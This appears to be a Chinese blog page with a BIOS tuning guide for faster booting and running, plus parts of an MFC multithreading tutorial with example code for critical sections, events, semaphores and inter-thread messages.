启动电脑时是不是要等很久才进入windows?随着时间的推移,运行速度越来越慢?如何加快进入和提高windows的速度呢?下面我们用设置BIOS进行优化将提高启动和运行速度。 

以下内容需要回复才能看到
一. 优化启动速度 


1. 怎样打开快速启动自检功能 

  启动电脑后,系统进行自我检查的例行程序,这个过程被称为POST-加电自检(Power On Self Test),对系统几乎所有的硬件进行检测。按以下步骤快速自检功能,可以加快启动的速度。 
  步骤1 启动电脑,按Del键,进入BIOS设置主界面。 
  步骤2 选择“Advanced BIOS Features”(高级BIOS设置功能)设置项,按Enter键进入。 
  步骤3 移动光标到“Quick Power On Self Test”(快速开机自检功能)项,设置为“Enabled”(允许)。如果选择“Disabled”,那电脑就会按正常速度执行开机自我检查,对内存检测三次。 
  步骤4 按Esc键返回主界面,将光标移动到“Save & Exit Setup”(存储并结束设置),按Y键保存退出即可。 

  2. 如何关闭开机软驱检测功能 

  步骤1 打开Boot Up Floppy Seek(开机软驱检测)功能将使系统在启动时检测1.44MB软驱,这引起1到2秒钟左右的延迟。为了加速启动的速度,可以将此功能关闭。 
  步骤2 启动电脑,按Del键进入BIOS设置主界面。 
  步骤3 设置“Boot Up Floppy Seek”为“Disabled”即可关闭开机软驱检测功能。 

  3. 如何设置硬盘为第一启动盘 

  在BIOS中可以选择软盘、硬盘、光盘、U盘等多种启动方式。但一般情况下,都是从硬盘启动。可以在BIOS设置中将硬盘设置第一启动盘,这样可以加快开机速度。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“Advanced BIOS Features’设置项按Enter键进入。 
  步骤3 将“First Boot Device”(第一个优先启动的设备)设置成“HDD-0”。即可加快开机速度,从硬盘启动系统。如果想通过软盘启动,可以将“First Boot Device”设置为“Floppy”.如果想通过光盘启动,将其设置为“CDROM”即可。 

  4. 选择怎样的显卡可以加快启动速度 

  一般情况下,主板在默认情况下支持两款显卡的启动,即AGP显卡和PCI显卡,通过该项设置选择第一个开启的设备。若是仅有一个AGP显卡,选择AGP会提高启动速度。 
  步骤1 启动电脑,按Del键,进入BIOS设置主界面。 
  步骤2 选择“Integrated Peripherals”设置项,按Enter键进入。 
  步骤3 将“Init Display first”(显卡优先设定)设置为“AGP”即可。 

  5. 选择怎样的显示器可以加速启动速度 

  现在的显示器基本上都是彩色的,所以没有必要尝试“Mono”(黑白显示器),这样反而会减慢启动速度。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“Standard CMOS Features”设置项,按Enter键进入。 
  步骤3 这是就可以看到“Video”(视频),它有两个选项,即EGA/VGA和Mono,选择默认项即可。 

  二. 优化运行速度 

  BIOS参数设置正确与否,对系统的整体性能和运行速度有很大影响。对一些与电脑运行速度有关的设置进行优化,以达到提高系统运行速度的目的。 

  1. 怎样在BIOS中超频CPU 

  一般情况下,通过提升CPU的外频或倍频(也就是常说的超频)可以使自己的CPU发挥最高的价值。下面就来看一看如何在BIOS中超频CPU. 
  步骤1 启动电脑按Del键,进入BIOS设置主界面。 
  步骤2 在主菜单选择“Frequency/Voltage Control”项。按Enter键进入。 
  步骤3 看到“Host CPU/DIMM/PCI Clock”与“CPU Clock Ratio”两个选项,前者使设置CPU外频,后者为 CPU倍频的。如果要更改外频,将光标移动到“Host CPU/DIMM/PCI Clock”项,按Page Up键或Page Down键进行更改即可。 
  步骤4 它的数值可以从100MHz调到133MHz,这是通过提高CPU外频来提高CPU的性能。 
  步骤5 对于未锁倍频的CPU,可以用提高倍频的方法进行超频。在“PU Clock Ratio”选项中选择适当的倍频即可使CPU性能有很大提升(现在一般CPU的倍频都是锁着的)。 

  2. 怎样在BIOS中超频内存 

  BIOS中有很多关于内存的参数,对这些参数进行优化,可以超频内存,提高系统性能。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 在主菜单选择“Advanced Chipset Features”选项,发现有关内存的设置。“SDRAM CAS Latency Time”(内存CAS延迟时间)参数是对于SDRAM内存而言的,CAS信号延迟时间的长短对内存性能有很大影响,一般它有AUTO/3/2三个选项。 
  普通的兼容内存一般只能在CL=3 (CAS信号延迟时间为3个时钟周期)模式下工作。 
  如果内存品质比较好(特别是Kingmax等名牌大厂的产品),可以在CL=2(CAS信号延迟时间为2个时钟周期)下正常工作,性能也会有大幅提高。 
  步骤3 接下来是“SDRAM Cycle time Tras/Trc(内存Tras/Trc时钟周期)”设置项。该参数用于确定SDRAM内存行激活时间和行周期时间的时钟周期数。 
  步骤4 激活时间与周期数越小的内存读取就越快。可将该项设置得小一些,如果内存品质比较好,可以设为5/7,这是速度就比较快。 

  3. 怎样打开视频(Video BIOS Shadow)BIOS遮罩 

  Video BIOS Shadow(视频BIOS遮罩)功能将把显卡的基本BIOS功能存储到内存里,在任何时候都能被方便的调用,使CPU能以更高的速度读取这些功能。打开该功能将在很大程度上提高系统性能。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“Advanced BIOS Features”设置项,按Enter键进入。 
  步骤3 将“Video BIOS Shadow”设置为“Enabled”,即可打开视频 BIOS 遮罩。 

  4. 怎样打开系统BIOS缓存 

  System BIOS Cacheable (系统BIOS缓存),也叫System BIOS Shadow (系统BIOS遮罩),打开该功能,系统性能可以得到很大提高。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“Advanced Chipset Features”设置项,按Enter键进入。 
  步骤3 将“System BIOS Cacheable”设置为“Enabled”,即可打开系统 BIOS 缓存。 
  PS: 该功能会引起一些特定显卡或内存的冲突。最好将两种设置都试一遍,以选择最适合自己的设置。如果打开该功能时没有出现问题,那就应该打开它,因为它肯定可以增强系统的性能。 

  5. 怎样打开视频BIOS缓存 

  Video BIOS Cacheable (视频BIOS缓存)选项同上面的一样,唯一的区别就是它与显卡的BIOS有关,而不与BIOS有关。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“Advanced Chipset Features”设置项,按Enter键进入。 
  步骤3 将“Video BIOS Cacheable”设置为“Enabled”,即可打开系统BIOS缓存. 

三. 优化磁盘读写速度 

  磁盘读写的快慢直接影响到电脑性能的发挥,下面看看如何在BIOS中设置优化磁盘的读写速度。 

  1. 怎样打开IDE硬盘块模式 

  块模式把多个扇区组成一个块,每次存取几个扇区,可以加多扇区存取时的数据传输速率。开启此特性,BIOS会自动侦察硬盘是否支持块模式(现今的大多数硬盘已有这个功能),且每中断一次可发出64KB资料。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“A Integrated Peripherals”设置项,按Enter键进入。 
  步骤3 将“IDE HDD Block Mode”(IDE硬盘块模式)设置为“Disabled”即可。 
  PS: Windows NT系统并不支持块模式,很可能导致数据传输出错,所以微软建议Windows NT 4.0用户关闭IDE硬盘块模式。关闭此特性后,每中断一次只能发出512字节资料,降低了磁盘的综合性能。 
  2. 怎样自动检测“UDMA”标准 

  硬盘目前主流转速为7200r/min(转每分),为了让这些硬盘在现有的系统中发挥更大的性能,在BIOS中还可以让它加速。 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“Intergraded Peripherals”(综合外部设备设置)设置项,按Enter键进入。 
  步骤3 将“IDE Primary/Secondary Master/Slave UDMA”设置为“AUTO”即可。 
  系统启动时,IDE硬盘就能自动进行检测,如果发现支持“UDMA”标准的硬盘,系统就可以启动此功能以加快硬盘的读写速度。 

四. 优化显示速度 

  1. 怎样设置显示内存的大小 

  板载显卡虽然廉价,但性能、速度确实不敢让人恭维。大家一定为显卡速率而担忧。通过下面的操作可以优化显示速度。 
  步骤1 启动电脑按Del键,进入BIOS设置主界面。 
  步骤2 选择“Advanced Chipset Features”设置项,按Enter键进入。 
  步骤3 将“On-chip Video Windows Size”的显示内存大小设置,即可以大大提高显卡的数据传输速率。 
  如果使用的是AGP 4X模式的显卡,那一定要在BIOS将AGP 4X模式打开。在“Advanced Chipset Features”选项中将“AGP Device 4X”(AGP 4X模式)设置为“Enabled”即可。 
  PS: 如果AGP显卡不支持AGP 4X, 那一定要将的“AGP Device 4X”设置为“Disabled”,否则将适得其反。 

  2. 怎样打开显卡RAM缓存 

  Video RAM Cacheable (显卡RAM缓存)功能将使CPU从显卡的RAM中读取缓存数据。打开该功能通常能改进系统的系统。 
  步骤1 启动电脑按Del键,进入BIOS设置主界面。 
  步骤2 选择“Advanced Chipset Features”设置项,按Enter键进入。 
  步骤3 将“Video RAM Cacheable”设置为“Enabled”,打开显卡RAM缓存。 

  3. 怎样设置AGP Size 

  AGP Graphics Aperture Size (AGP口径大小),主板上这个项目指可供AGP显卡使用的最大内存数量。默认值使64MB。增大这个值可能会引起性能的下降或极大的内存占用。试着将该值设成内存大小的25%到100%,根据显卡操作说明书进行设置,可以提高系统性能。 
  步骤1 启动电脑按Del键,进入BIOS设置主界面。 
  步骤2 选择“Advanced Chipset Features”设置项,按Enter键进入。 
  步骤3 将“AGP Graphics Aperture Size”设置为自己需要的值即可。 

  五. 优化开启方式 

  连接电源,按POWER按钮便能开机。其实还有很多的开机方法,如键盘开机、自动开机、Modem开机等等。 

  1. 怎样实现键盘开机 
  要实现键盘开机,首先按照主板说明书,找到开启键盘开机功能的跳线,然后把跳线重新设置即可。现在很多主板的这项功能使开放的,并不需要进行跳线。下面进入BIOS进行设置。 
  步骤1 启动电脑按Del键,进入BIOS设置主界面。 
  步骤2 选择“Integrated Peripherals”设置项,按Enter键进入。 
  步骤3 将光标移动到“POWER On Function”选项上,再按Enter键,弹出选项菜单。 
  该菜单显示了7种键盘开机方式,即Password(密码开机)、Hot KEY(热键开机)、Mouse Move、Mouse Click(鼠标开机)、Any KEY(任意键开机)、Button ONLY(按钮开机)、Keyboard 98(windows 98键盘开机)。下面就来看一看密码开机使如何实现的。 
  步骤4 移动光标到“Password”后按Enter键,返回上一级菜单,将光标移到“Power ON Password”选项上,按Enter键,输入密码即可。 

  2. 怎样实现自动开机 

  自动开机功能可以使电脑按照预定时间自动启动。 
  步骤1 启动电脑,按Enter键进入BIOS设置主界面。 
  步骤2 选择“Power Management Setup”设置项,按Enter键进入。 
  步骤3 找到“Power On By Alarm”(定时开机),将“Disabled”改为“Enabled”。 
  步骤4 发现“Power On By Alarm”选项下原本使灰色的日期与时间设置可以更改了。 
  步骤5 将光标移到“Date (of Month) Alarm”上,通过“Page Down”键设置日期,再将光标移到“Time (hh:mm:ss)Alarm”上,按照需要将时间设置好。 
  步骤6 保存设置,只要BIOS的时钟跳到设置的时间时,电脑将自动开机。 
  PS: 自动开机有周期性。不同的主板,它的周期性时不一样的。有的主板每月只能设置一次,也就是每月的某日几时几分几秒开机。而有的主板可以设置一个周期,如“天的这个时间”都开机,这样就比较方便了。要了解具体的周期,大家最好认真阅读主板说明。 

  3. 怎样实现Modem遥控开机 

  想开机吗?打个电话回家,电脑便自动开机。这种遥控开机时如何实现的呢? 
  步骤1 启动电脑,按Del键进入BIOS设置主界面。 
  步骤2 选择“Power Management Setup”设置项。按Enter键进入。 
  步骤3 将光标移到“Power ON BY Bing/LAN”选项上,将原来默认的“Disabled”改为“Enabled”即可。 
  PS:内置Modem实现遥控开机时,将电话插入Modem的线路输入端即可;如果时外置的Modem,先要根据Modem所连接的串行端口设置不同的中断号(一般情况下,COM1口使用的是IRQ4,COM2口使用的是IRQ3),接下来插好电话线。当然还要打开Modem的电源。 

  4. 怎样实现鼠标开机 

  许多有实力的主板厂商,比如华硕、微星等,其BIOS中提供了更为丰富的开机功能,不仅有密码开机、键盘开机和按钮开机(即仅使用机箱面板上的Power按钮开机),而且还提供了鼠标开机功能。 
  步骤1 启动电脑,按Enter键进入BIOS键设置主界面。 
  步骤2 选择“Integrated Peripherals”设置项,按Enter键进入。 
  步骤3 将光标移到“Keyboard Power On Function”选项上,选择“Enabled”。 
  步骤4 从“Power On Function”中选择开机方式(鼠标左键开机、热键开机、密码开机等)为“Mouse Left”(鼠标左键开机)。 
  步骤5 按Esc键回到BIOS主菜单,保存退出,即可以实现鼠标左键开机。 
  PS:由于每块主板键盘开机功能的设置方法不尽相同,因此,在设置时,可参照本机主板说明书。另外,假如已经正确完成了所有设置,却无法用键盘开机时,可另换其他品牌的键盘试试,因为键盘与主板之间的搭配关系很重要。还要注意的是,PS/2键盘的开机成功率远高于USB键盘,如果采用是USB键盘,却无法开机,可以换一个PS/2键盘试试
posted @ 2010-04-22 18:54 jcss 阅读(93) 评论(0) 编辑

下载源代码

八、线程的同步

  虽然多线程能给我们带来好处,但是也有不少问题需要解决。例如,对于像磁盘驱动器这样独占性系统资源,由于线程可以执行进程的任何代码段,且线程的运行是由系统调度自动完成的,具有一定的不确定性,因此就有可能出现两个线程同时对磁盘驱动器进行操作,从而出现操作错误;又例如,对于银行系统的计算机来说,可能使用一个线程来更新其用户数据库,而用另外一个线程来读取数据库以响应储户的需要,极有可能读数据库的线程读取的是未完全更新的数据库,因为可能在读的时候只有一部分数据被更新过。

  使隶属于同一进程的各线程协调一致地工作称为线程的同步。MFC提供了多种同步对象,下面我们只介绍最常用的四种:

  • 临界区(CCriticalSection)
  • 事件(CEvent)
  • 互斥量(CMutex)
  • 信号量(CSemaphore)
     

通过这些类,我们可以比较容易地做到线程同步。

A、使用 CCriticalSection 类

  当多个线程访问一个独占性共享资源时,可以使用“临界区”对象。任一时刻只有一个线程可以拥有临界区对象,拥有临界区的线程可以访问被保护起来的资源或代码段,其他希望进入临界区的线程将被挂起等待,直到拥有临界区的线程放弃临界区时为止,这样就保证了不会在同一时刻出现多个线程访问共享资源。

CCriticalSection类的用法非常简单,步骤如下:
 

  1. 定义CCriticalSection类的一个全局对象(以使各个线程均能访问),如CCriticalSection critical_section;
  2. 在访问需要保护的资源或代码之前,调用CCriticalSection类的成员Lock()获得临界区对象:
    critical_section.Lock();
    
    在线程中调用该函数来使线程获得它所请求的临界区。如果此时没有其它线程占有临界区对象,则调用Lock()的线程获得临界区;否则,线程将被挂起,并放入到一个系统队列中等待,直到当前拥有临界区的线程释放了临界区时为止。
  3. 访问临界区完毕后,使用CCriticalSection的成员函数Unlock()来释放临界区:
    critical_section.Unlock();
    
    再通俗一点讲,就是线程A执行到critical_section.Lock();语句时,如果其它线程(B)正在执行critical_section.Lock();语句后且critical_section. Unlock();语句前的语句时,线程A就会等待,直到线程B执行完critical_section. Unlock();语句,线程A才会继续执行。

下面再通过一个实例进行演示说明。


例程8 MultiThread8

  1. 建立一个基于对话框的工程MultiThread8,在对话框IDD_MULTITHREAD8_DIALOG中加入两个按钮和两个编辑框控件,两个按钮的ID分别为IDC_WRITEW和IDC_WRITED,标题分别为“写‘W’”和“写‘D’”;两个编辑框的ID分别为IDC_W和IDC_D,属性都选中Read-only;
  2. 在MultiThread8Dlg.h文件中声明两个线程函数:
    UINT WriteW(LPVOID pParam);
    UINT WriteD(LPVOID pParam);
    
  3. 使用ClassWizard分别给IDC_W和IDC_D添加CEdit类变量m_ctrlW和m_ctrlD;
  4. 在MultiThread8Dlg.cpp文件中添加如下内容:

    为了文件中能够正确使用同步类,在文件开头添加:
    #include "afxmt.h"
    
    定义临界区和一个字符数组,为了能够在不同线程间使用,定义为全局变量:
    CCriticalSection critical_section;
    char g_Array[10];
    
    添加线程函数:
    UINT WriteW(LPVOID pParam)
    {
    	CEdit *pEdit=(CEdit*)pParam;
    	pEdit->SetWindowText("");
    	critical_section.Lock();
    	//锁定临界区,其它线程遇到critical_section.Lock();语句时要等待
    	//直至执行critical_section.Unlock();语句
    	for(int i=0;i<10;i++)
    	{
    		g_Array[i]=''W'';
    	    pEdit->SetWindowText(g_Array);
    		Sleep(1000);
    	}
    	critical_section.Unlock();
    	return 0;
    
    }
    
    UINT WriteD(LPVOID pParam)
    {
    	CEdit *pEdit=(CEdit*)pParam;
    	pEdit->SetWindowText("");
    	critical_section.Lock();
    	//锁定临界区,其它线程遇到critical_section.Lock();语句时要等待
    	//直至执行critical_section.Unlock();语句
    	for(int i=0;i<10;i++)
    	{
    		g_Array[i]=''D'';
    	    pEdit->SetWindowText(g_Array);
    		Sleep(1000);
    	}
    	critical_section.Unlock();
    	return 0;
    
    }
  5. 分别双击按钮IDC_WRITEW和IDC_WRITED,添加其响应函数:
    void CMultiThread8Dlg::OnWritew() 
    {
    	CWinThread *pWriteW=AfxBeginThread(WriteW,
    		&m_ctrlW,
    		THREAD_PRIORITY_NORMAL,
    		0,
    		CREATE_SUSPENDED);
    	pWriteW->ResumeThread();
    }
    
    void CMultiThread8Dlg::OnWrited() 
    {
    	CWinThread *pWriteD=AfxBeginThread(WriteD,
    		&m_ctrlD,
    		THREAD_PRIORITY_NORMAL,
    		0,
    		CREATE_SUSPENDED);
    	pWriteD->ResumeThread();
    	
    }
    由于代码较简单,不再详述。编译、运行该例程,您可以连续点击两个按钮,观察体会临界类的作用。

B、使用 CEvent 类

  CEvent 类提供了对事件的支持。事件是一个允许一个线程在某种情况发生时,唤醒另外一个线程的同步对象。例如在某些网络应用程序中,一个线程(记为A)负责监听通讯端口,另外一个线程(记为B)负责更新用户数据。通过使用CEvent 类,线程A可以通知线程B何时更新用户数据。每一个CEvent 对象可以有两种状态:有信号状态和无信号状态。线程监视位于其中的CEvent 类对象的状态,并在相应的时候采取相应的操作。
  在MFC中,CEvent 类对象有两种类型:人工事件和自动事件。一个自动CEvent 对象在被至少一个线程释放后会自动返回到无信号状态;而人工事件对象获得信号后,释放可利用线程,但直到调用成员函数ReSetEvent()才将其设置为无信号状态。在创建CEvent 类的对象时,默认创建的是自动事件。 CEvent 类的各成员函数的原型和参数说明如下:

1、CEvent(BOOL bInitiallyOwn=FALSE,
          BOOL bManualReset=FALSE,
          LPCTSTR lpszName=NULL,
          LPSECURITY_ATTRIBUTES lpsaAttribute=NULL);

 

  • bInitiallyOwn:指定事件对象初始化状态,TRUE为有信号,FALSE为无信号;
  • bManualReset:指定要创建的事件是属于人工事件还是自动事件。TRUE为人工事件,FALSE为自动事件;
  • 后两个参数一般设为NULL,在此不作过多说明。
2、BOOL CEvent::SetEvent();
   将 CEvent 类对象的状态设置为有信号状态。如果事件是人工事件,则 CEvent 类对象保持为有信号状态,直到调用成员函数ResetEvent()将 其重新设为无信号状态时为止。如果CEvent 类对象为自动事件,则在SetEvent()将事件设置为有信号状态后,CEvent 类对象由系统自动重置为无信号状态。

如果该函数执行成功,则返回非零值,否则返回零。
3、BOOL CEvent::ResetEvent();
  该函数将事件的状态设置为无信号状态,并保持该状态直至SetEvent()被调用时为止。由于自动事件是由系统自动重置,故自动事件不需要调用该函数。如果该函数执行成功,返回非零值,否则返回零。我们一般通过调用WaitForSingleObject函数来监视事件状态。前面我们已经介绍了该函数。由于语言描述的原因,CEvent 类的理解确实有些难度,但您只要通过仔细玩味下面例程,多看几遍就可理解。

例程9 MultiThread9

  1. 建立一个基于对话框的工程MultiThread9,在对话框IDD_MULTITHREAD9_DIALOG中加入一个按钮和两个编辑框控件,按钮的ID为IDC_WRITEW,标题为“写‘W’”;两个编辑框的ID分别为IDC_W和IDC_D,属性都选中Read-only;
  2. 在MultiThread9Dlg.h文件中声明两个线程函数:
    UINT WriteW(LPVOID pParam);
    UINT WriteD(LPVOID pParam);
    
  3. 使用ClassWizard分别给IDC_W和IDC_D添加CEdit类变量m_ctrlW和m_ctrlD;
  4. 在MultiThread9Dlg.cpp文件中添加如下内容:

    为了文件中能够正确使用同步类,在文件开头添加

    #include "afxmt.h"
    
    定义事件对象和一个字符数组,为了能够在不同线程间使用,定义为全局变量。
    CEvent eventWriteD;
    char g_Array[10];
    
    添加线程函数:
    UINT WriteW(LPVOID pParam)
    {
    	CEdit *pEdit=(CEdit*)pParam;
    	pEdit->SetWindowText("");
    	for(int i=0;i<10;i++)
    	{
    		g_Array[i]=''W'';
    	    pEdit->SetWindowText(g_Array);
    		Sleep(1000);
    	}
    	eventWriteD.SetEvent();
    	return 0;
    
    }
    UINT WriteD(LPVOID pParam)
    {
    	CEdit *pEdit=(CEdit*)pParam;
    	pEdit->SetWindowText("");
    	WaitForSingleObject(eventWriteD.m_hObject,INFINITE);
    	for(int i=0;i<10;i++)
    	{
    		g_Array[i]=''D'';
    	    pEdit->SetWindowText(g_Array);
    		Sleep(1000);
    	}
    	return 0;
    
    }
    
       仔细分析这两个线程函数, 您就会正确理解CEvent 类。线程WriteD执行到 WaitForSingleObject(eventWriteD.m_hObject,INFINITE);处等待,直到事件eventWriteD为有信号该线程才往下执行,因为eventWriteD对象是自动事件,则当WaitForSingleObject()返回时,系统自动把eventWriteD对象重置为无信号状态。
  5. 双击按钮IDC_WRITEW,添加其响应函数:
    void CMultiThread9Dlg::OnWritew() 
    {
    	CWinThread *pWriteW=AfxBeginThread(WriteW,
    		&m_ctrlW,
    		THREAD_PRIORITY_NORMAL,
    		0,
    		CREATE_SUSPENDED);
    	pWriteW->ResumeThread();
    
    	CWinThread *pWriteD=AfxBeginThread(WriteD,
    		&m_ctrlD,
    		THREAD_PRIORITY_NORMAL,
    		0,
    		CREATE_SUSPENDED);
    	pWriteD->ResumeThread();
    	
    }
    编译并运行程序,单击“写‘W’”按钮,体会事件对象的作用。

C、使用CMutex 类

  互斥对象与临界区对象很像.互斥对象与临界区对象的不同在于:互斥对象可以在进程间使用,而临界区对象只能在同一进程的各线程间使用。当然,互斥对象也可以用于同一进程的各个线程间,但是在这种情况下,使用临界区会更节省系统资源,更有效率。

D、使用CSemaphore 类

  当需要一个计数器来限制可以使用某个线程的数目时,可以使用“信号量”对象。CSemaphore 类的对象保存了对当前访问某一指定资源的线程的计数值,该计数值是当前还可以使用该资源的线程的数目。如果这个计数达到了零,则所有对这个CSemaphore 类对象所控制的资源的访问尝试都被放入到一个队列中等待,直到超时或计数值不为零时为止。一个线程被释放已访问了被保护的资源时,计数值减1;一个线程完成了对被控共享资源的访问时,计数值增1。这个被CSemaphore 类对象所控制的资源可以同时接受访问的最大线程数在该对象的构建函数中指定。

CSemaphore 类的构造函数原型及参数说明如下:

CSemaphore (LONG lInitialCount=1,
            LONG lMaxCount=1,
            LPCTSTR pstrName=NULL,
            LPSECURITY_ATTRIBUTES lpsaAttributes=NULL);
  • lInitialCount:信号量对象的初始计数值,即可访问线程数目的初始值;
  • lMaxCount:信号量对象计数值的最大值,该参数决定了同一时刻可访问由信号量保护的资源的线程最大数目;
  • 后两个参数在同一进程中使用一般为NULL,不作过多讨论;

  在用CSemaphore 类的构造函数创建信号量对象时要同时指出允许的最大资源计数和当前可用资源计数。一般是将当前可用资源计数设置为最大资源计数,每增加一个线程对共享资源的访问,当前可用资源计数就会减1,只要当前可用资源计数是大于0的,就可以发出信号量信号。但是当前可用计数减小到0时,则说明当前占用资源的线程数已经达到了所允许的最大数目,不能再允许其它线程的进入,此时的信号量信号将无法发出。线程在处理完共享资源后,应在离开的同时通过ReleaseSemaphore()函数将当前可用资源数加1。

下面给出一个简单实例来说明 CSemaphore 类的用法。

例程10 MultiThread10

  1. 建立一个基于对话框的工程MultiThread10,在对话框IDD_MULTITHREAD10_DIALOG中加入一个按钮和三个编辑框控件,按钮的ID为IDC_START,标题为“同时写‘A’、‘B’、‘C’”;三个编辑框的ID分别为IDC_A、IDC_B和IDC_C,属性都选中Read-only;
  2. 在MultiThread10Dlg.h文件中声明两个线程函数:
    UINT WriteA(LPVOID pParam);
    UINT WriteB(LPVOID pParam);
    UINT WriteC(LPVOID pParam); 
  3. 使用ClassWizard分别给IDC_A、IDC_B和IDC_C添加CEdit类变量m_ctrlA、m_ctrlB和m_ctrlC;
  4. 在MultiThread10Dlg.cpp文件中添加如下内容:

    为了文件中能够正确使用同步类,在文件开头添加:

    #include "afxmt.h"
    
    定义信号量对象和一个字符数组,为了能够在不同线程间使用,定义为全局变量:
    CSemaphore semaphoreWrite(2,2); //资源最多访问线程2个,当前可访问线程数2个 
    char g_Array[10]; 

    添加三个线程函数:

    UINT WriteA(LPVOID pParam)
    {
    	CEdit *pEdit=(CEdit*)pParam;
    	pEdit->SetWindowText("");
    	WaitForSingleObject(semaphoreWrite.m_hObject,INFINITE);
    	CString str;
    	for(int i=0;i<10;i++)
    	{
            pEdit->GetWindowText(str);
    		g_Array[i]=''A'';
    		str=str+g_Array[i];
    	    pEdit->SetWindowText(str);
    		Sleep(1000);
    	}
    	ReleaseSemaphore(semaphoreWrite.m_hObject,1,NULL);
    	return 0;
    
    }
    UINT WriteB(LPVOID pParam)
    {
    	CEdit *pEdit=(CEdit*)pParam;
    	pEdit->SetWindowText("");
    	WaitForSingleObject(semaphoreWrite.m_hObject,INFINITE);
    	CString str;
    	for(int i=0;i<10;i++)
    	{
    
            pEdit->GetWindowText(str);
    		g_Array[i]=''B'';
    		str=str+g_Array[i];
    	    pEdit->SetWindowText(str);
    		Sleep(1000);
    	}
    	ReleaseSemaphore(semaphoreWrite.m_hObject,1,NULL);
    	return 0;
    
    }
    UINT WriteC(LPVOID pParam)
    {
    	CEdit *pEdit=(CEdit*)pParam;
    	pEdit->SetWindowText("");
    	WaitForSingleObject(semaphoreWrite.m_hObject,INFINITE);
    	for(int i=0;i<10;i++)
    	{
    		g_Array[i]=''C'';
    	    pEdit->SetWindowText(g_Array);
    		Sleep(1000);
    	}
    	ReleaseSemaphore(semaphoreWrite.m_hObject,1,NULL);
    	return 0;
    
    }
    
    这三个线程函数不再多说。在信号量对象有信号的状态下,线程执行到WaitForSingleObject语句处继续执行,同时可用线程数减1;若线程执行到WaitForSingleObject语句时信号量对象无信号,线程就在这里等待,直到信号量对象有信号线程才往下执行。
  5. 双击按钮IDC_START,添加其响应函数:
    void CMultiThread10Dlg::OnStart() 
    {
    	CWinThread *pWriteA=AfxBeginThread(WriteA,
    		&m_ctrlA,
    		THREAD_PRIORITY_NORMAL,
    		0,
    		CREATE_SUSPENDED);
    	pWriteA->ResumeThread();
    
    	CWinThread *pWriteB=AfxBeginThread(WriteB,
    		&m_ctrlB,
    		THREAD_PRIORITY_NORMAL,
    		0,
    		CREATE_SUSPENDED);
    	pWriteB->ResumeThread();
    
    	CWinThread *pWriteC=AfxBeginThread(WriteC,
    		&m_ctrlC,
    		THREAD_PRIORITY_NORMAL,
    		0,
    		CREATE_SUSPENDED);
    	pWriteC->ResumeThread();
    
    	
    }
    

好吧,多线程编程就介绍到这里,希望本文能对您有所帮助。

posted @ 2010-04-03 11:09 jcss 阅读(51) 评论(0) 编辑

下载源代码

七、线程间通讯

  一般而言,应用程序中的一个次要线程总是为主线程执行特定的任务,这样,主线程和次要线程间必定有一个信息传递的渠道,也就是主线程和次要线程间要进行通信。这种线程间的通信不但是难以避免的,而且在多线程编程中也是复杂和频繁的,下面将进行说明。

  1. 使用全局变量进行通信

    由于属于同一个进程的各个线程共享操作系统分配该进程的资源,故解决线程间通信最简单的一种方法是使用全局变量。对于标准类型的全局变量,我们建议使用volatile 修饰符,它告诉编译器无需对该变量作任何的优化,即无需将它放到一个寄存器中,并且该值可被外部改变。如果线程间所需传递的信息较复杂,我们可以定义一个结构,通过传递指向该结构的指针进行传递信息。
     
  2. 使用自定义消息

    我们可以在一个线程的执行函数中向另一个线程发送自定义的消息来达到通信的目的。一个线程向另外一个线程发送消息是通过操作系统实现的。利用Windows操作系统的消息驱动机制,当一个线程发出一条消息时,操作系统首先接收到该消息,然后把该消息转发给目标线程,接收消息的线程必须已经建立了消息循环。

例程7 MultiThread7

  该例程演示了如何使用自定义消息进行线程间通信。首先,主线程向CCalculateThread线程发送消息WM_CALCULATE,CCalculateThread线程收到消息后进行计算,再向主线程发送WM_DISPLAY消息,主线程收到该消息后显示计算结果。

  1. 建立一个基于对话框的工程MultiThread7,在对话框IDD_MULTITHREAD7_DIALOG中加入三个单选按钮IDC_RADIO1,IDC_RADIO2,IDC_RADIO3,标题分别为1+2+3+4+......+10,1+2+3+4+......+50,1+2+3+4+......+100。加入按钮IDC_SUM,标题为“求和”。加入标签框IDC_STATUS,属性选中“边框”;
  2. 在MultiThread7Dlg.h中定义如下变量:
    protected:
    	int nAddend;
    
    代表加数的大小。

    分别双击三个单选按钮,添加消息响应函数:
    void CMultiThread7Dlg::OnRadio1() 
    {
    	nAddend=10;
    }
    
    void CMultiThread7Dlg::OnRadio2() 
    {
    	nAddend=50;
    	
    }
    
    void CMultiThread7Dlg::OnRadio3() 
    {
    	nAddend=100;
    	
    }
    并在OnInitDialog函数中完成相应的初始化工作:
    BOOL CMultiThread7Dlg::OnInitDialog()
    {
    ……
    	((CButton*)GetDlgItem(IDC_RADIO1))->SetCheck(TRUE);
    	nAddend=10;
    ……
    
    在MultiThread7Dlg.h中添加:
    #include "CalculateThread.h"
    #define WM_DISPLAY WM_USER+2
    class CMultiThread7Dlg : public CDialog
    {
    // Construction
    public:
    	CMultiThread7Dlg(CWnd* pParent = NULL);	// standard constructor
    	CCalculateThread* m_pCalculateThread;
    ……
    protected:
    	int nAddend;
    	LRESULT OnDisplay(WPARAM wParam,LPARAM lParam);
    ……
    
    在MultiThread7Dlg.cpp中添加:
    BEGIN_MESSAGE_MAP(CMultiThread7Dlg, CDialog)
    ……
    	ON_MESSAGE(WM_DISPLAY,OnDisplay)
    END_MESSAGE_MAP()
    
    LRESULT CMultiThread7Dlg::OnDisplay(WPARAM wParam,LPARAM lParam)
    {
    	int nTemp=(int)wParam;
    	SetDlgItemInt(IDC_STATUS,nTemp,FALSE);
    
      return 0;
    
    }
    以上代码使得主线程类CMultiThread7Dlg可以处理WM_DISPLAY消息,即在IDC_STATUS标签框中显示计算结果。
  3. 双击按钮IDC_SUM,添加消息响应函数:
    void CMultiThread7Dlg::OnSum() 
    {
    	m_pCalculateThread=
    		(CCalculateThread*)AfxBeginThread(RUNTIME_CLASS(CCalculateThread));
    
    	Sleep(500);
    
    	m_pCalculateThread->PostThreadMessage(WM_CALCULATE,nAddend,NULL);
    }
